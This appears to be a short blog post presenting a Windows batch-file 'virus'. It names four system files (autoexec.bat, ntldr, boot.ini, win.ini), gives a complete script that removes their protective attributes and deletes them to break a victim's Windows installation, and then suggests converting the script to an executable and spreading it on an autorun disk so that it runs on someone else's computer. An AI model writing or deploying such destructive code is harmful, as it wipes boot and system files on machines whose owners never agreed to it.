Batch File Virus (a simple virus for windows)

I assume you know the basic about batch files before reading this post. Batch files are used to run a dos command without opening command prompt window. You can run many dos commands using a single batch file. For this you have to learn how to write a batch file. I am not going to tell you how to make a batch file. If you don’t know how to write, try to learn it from anywhere else. This post will show you some batch files which can corrupt your window. You can also say that these batch files can work like a virus. So be careful and not to try in your computer.

• Autoexec.bat
• Ntldr
• Boot.ini
• Win.ini

These files are very important and necessary for any windows operating system. So if you want to corrupt windows of a person you have to delete these four files from the computer.
@echo off 
attrib -r -s -h c:\autoexec.bat 
del c:\autoexec.bat 
attrib -r -s -h c:\boot.ini 
del c:\boot.ini 
attrib -r -s -h c:\ntldr 
del c:\ntldr 
attrib -r -s -h c:\windows\win.ini 
del c:\windows\win.ini 

save this code as winVirus.bat.

If you want to make it more harmful, make its exe using bat_to_exe converter and make an autorun disk of it. When someone use the disk autorun will execute itself and command will generated by batch file will corrupt the windows.